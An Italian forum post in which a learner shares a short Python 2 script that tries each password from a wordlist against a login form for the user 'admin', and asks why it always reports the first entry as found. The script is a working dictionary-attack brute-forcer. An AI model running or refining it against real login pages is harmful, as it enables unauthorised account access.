Ciao a tutti, oggi, mentre provavo a scrivere questo breve programmino per testare un concetto che avevo precedentemente studiato a livello teorico su un volume dedicato alle reti ed al Python in generale, mi trovo con un "compilatore2 che a prescindere mi restituisce un output "sbagliato"
Allego il codice, con una breve spiegazione:
codice:
import urllib
url="http://sitodiprova.html"
username="admin"
lista="lista.txt"
pwd = []
f = open(lista, "r ")
pwd = f.readlines()
f.close()
for i in range(0, len(pwd)):
if pwd[i][len(pwd[i])-1] == '\n':
pwd[i] = pwd[i][0:len(pwd[i])-1]
messaggioDiErrore = "Password errata"
for password in pwd:
print "Sto testando la password:", password
parametriDaTestare = { "username" : username, "password" : password, "login" : "1" }
p= urllib.urlencode(parametriDaTestare)
paginaDiAction = urllib.urlopen(url, p)
risultato = paginaDiAction.read()
if not(messaggioDiErrore in risultato):
print "Password trovata:", password
break
Come immagino abbiate intuito, il programma in questione l'ho creato per "mettere in pratica" il concetto dell'attacco dizionario...Il problema consiste nel fatto che in fase di output (ossia Password trovata), il compilatore mi restituisca a prescindere il PRIMO elemento della lista.txt (il dizionario da cui attingere)...
Soluzioni?